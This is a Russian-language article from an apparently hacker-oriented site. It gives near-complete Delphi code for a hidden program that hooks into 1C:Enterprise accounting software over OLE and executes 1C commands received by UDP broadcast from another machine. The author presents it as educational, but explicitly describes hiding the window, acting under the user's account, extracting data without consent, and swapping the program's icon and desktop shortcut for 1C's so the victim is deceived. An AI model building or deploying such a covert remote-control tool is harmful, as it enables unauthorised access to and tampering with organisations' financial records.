| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.223.170.21
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Управляем 1С Предприятием через сеть

Огромное количество организаций использует систему 1С:Предприятие, но не каждый пользователь подозревает о возможном проникновении в его систему чужаков и получении данных из базы, а также частичном управлении функциями 1С удаленно. Сразу скажу что, данный механизм использования 1С:Предприятие позволит усовершенствовать некоторые функции системы и ни коим образом не является руководством к разрушению (порче) данных или к помехам действий удаленного пользователя. Статья позволит программистам приобрести дополнительные навыки в использовании системы и расширить познания.

Общий принцип механизма состоит в соединении с 1С через OLE и последующем использованием функций 1С на основе принимаемых команд от удаленного компьютера, т.к. в Delphi мы можем написать приложение невидимое для пользователя, то программа на Delphi, контролирующая 1С, будет скрыта от глаз пользователя и подвох не будет заметен, следовательно вину после приходящего на глазах у пользователя ужаса не на кого будет переложить кроме как на него самого. С помощью подобного механизма открываются возможности по управлению системы находясь за другим компьютером в сети, также появляется доступ к выгрузке данных из системы без согласия на то пользователя, т.к. попадаем мы в систему вместе с пользователем, под его учетной записью и паролем.

Вооружившись Delphi (я использовал Delphi 6.0), приступим:

Создаем обычное приложение,

File->New->Application

Создается форма, бросаем на форму Memo из вкладки Standard, 2 кнопки Button (вкладка Standard), Edit (вкладка Standard), IdUDPClient из вкладки IndyClients, IdUDPServer из вкладки IndyServers.

Настроим компоненты.

Компонента Мемо.

Кликаем на Memo, в object inspeсtor находим параметр Line - нажимаем, появляется окно - стираем надпись Memo1, выходим из String List Editor. Для наглядности выбираем значение ScrollBars Memo равное ssVertical.

Компонента Button.

В object inspeсtor меняем содержимое параметра Caption на "Отправить 1С". Во второй кнопке то же самое.

Компонента Edit.

В object inspeсtor очищаем содержимое параметра Text.

Компонента IdUDPClient - Отсылает данные.

Выберем любой порт от 1 до 65000, через который будет происходить связь, я выбрал 122 (можете выбрать любой другой). Присваиваем это значение свойству Port компоненты. Заполним свойство Host, сюда записывается IP-адрес компьютера, которому будет отправляться сообщение. BroadCastEnabled устанавливаем в true. А вместо конкретного IP-адреса рекомендую использовать широковещательный (отправляется всем), последний октет 255.Например 192.168.12.255. Свойство Active устанавливаем в True.

Компонента IdUDPServer - Получает данные.

Выбираем тот же порт что и в IdUDPClient. BroadCastEnabled устанавливаем в true. Свойство Active устанавливаем в True.

Все компоненты на форме, теперь приступим к написанию кода.

Добавляем в Uses модуль comobj

Uses Windows,...,comobj;


Добавляем переменную

var
Form1: TForm1;
serv1C: Olevariant;

Кликаем 2 раза на форму приложения, в появившейся процедуре

FormCreate(Sender: TObject); 

пишем следующий код

procedure TForm1.FormCreate(Sender: TObject);
var
h:HWND;
res:integer;
begin
if trim(paramstr(1))='server'
then
begin
Application.Showmainform:=false;//
Скрываем форму нашего приложения
ShowWindow(Application.Handle, SW_HIDE);
serv1C := createoleobject('V1CEnterprise.Application');//
создаем OLE обьект 1С Предприятия
res:=serv1C.initialize(serv1C.rmtrade,'','SPLASH_SHOW');//
Инициализируем его с показом картинки 1С во время загрузки
if res<>0 then
begin
h:= findwindow(nil, '1С:Предприятие - Бухгалтерский учет, редакция 4.5: ООО "Рога и Копыта"');//
Ищем окно 1С, здесь важно не ошибиться с именем окна, имя должно точно соответствовать конфигурации 1С
ShowWindow(h,SW_SHOW);
end
else
begin
serv1C:=UnAssigned;//
Подключение не удалось
Application.Terminate;
end;
end;
end;


кликаем на компоненте IdUDPServer, выбираем вкладку Events, 2 раза кликаем по свойству OnUDPRead и заполняем процедуру следующим образом.

procedure TForm1.IdUDPServer1UDPRead (Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
var
FStream:TStringstream;
begin
FStream:=TStringStream.Create('');
FStream.CopyFrom(AData,Adata.Size);
serv1C.ExecuteBatch(Fstream.DataString);//
Отсылаем команды прямо в 1С Предприятие
Fstream.Free;
end;


Добавим в программу еще одну процедуру.

procedure TForm1.Otpravka(str:widestring);// любая строка передаваемая в эту процедуру, попадет на выполнение в 1С Предприятие
begin
form1.IdUDPClient1.Send(str);
end;


Добавим ее в класс TFOrm.

type
TForm1 = class(TForm)
IdUDPClient1: TIdUDPClient;
IdUDPServer1: TIdUDPServer;
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Memo1: TMemo;
procedure IdUDPServer1UDPRead (Sender: TObject; AData: TStream;ABinding: TIdSocketHandle);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Otpravka(str:widestring);//
Здесь наша процедура
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

Кликаем 2 раза на каждой из кнопок (Button) и записываем следующий код.

procedure TForm1.Button1Click(Sender: TObject);
begin
Otpravka(Form1.Memo1.Lines.Text);
end;

Вторая кнопка.

procedure TForm1.Button2Click(Sender: TObject);
begin
Otpravka('Сообщить("'+Form1.Edit1.Text+'");');
end;


Итак, программа готова, компилируем ее (F9) на экране появляется форма программы.

В нижнюю строчку запишем текст для передачи в окно сообщений 1С Предприятия, а верхнее поле предназначено для отправки текста программы на языке 1С. После передачи выполнения 1С примет следующий вид:

Единственное ограничение: подобным образом (через OLE) нельзя создавать переменные 1С Предприятия, но есть выход - использовать переменные системы, которые находятся в глобальном модуле конфигурации например 

Да=СоздатьОбъект("Документ.ПоступлениеТоваров");

переменная "Да" из глобального модуля.

Многообразие команд языка 1С Предприятие открывает широкий доступ к системе, в 1С есть даже подобие SQL языка, приведу несколько примеров использования команд (все остальное в справочниках 1С Предприятия):

Да=СоздатьОбъект("Документ.ПоступлениеТоваров");
Да.НайтиПоНомеру("00000001","01.01.2006");
Нет=Да.ТекущийДокумент();
ОткрытьФорму(Нет);


Использованы глобальные переменные системы (Да и Нет),программа откроет документ и выведет его на экран без согласия пользователя, или например 

ОткрытьФорму("Справочник.Номенклатура");

откроет справочник номенклатура.

Сообщить("Hello world!"); 

отправит в 1С Предприятие сообщение.

Все, что останется сделать, так это подменить значок в нашей программе на значок 1С,положить ярлык вместо ярлыка 1С на рабочий стол и хорошенько подумать, а стоит ли вообще усложнять жизнь юзерам и в особенности бухгалтерам :-).

Подобный механизм открывает большие возможности для экспериментов над 1С Предприятием, а так же над ее пользователями, которые будут удивлены тем, что 1С начнет жить собственной жизнью, общаться с пользователем, создавать или уничтожать элементы системы, возможна даже реализация чата на основе 1С Предприятия.

Более полная версия готовой программы прилагается: 1СProga.rar

Желаю успехов в освоении и использовании.

Категория: Общие Статьи | Добавил: LeadyTOR (04.01.2009)
Просмотров: 2020 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

22:07
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика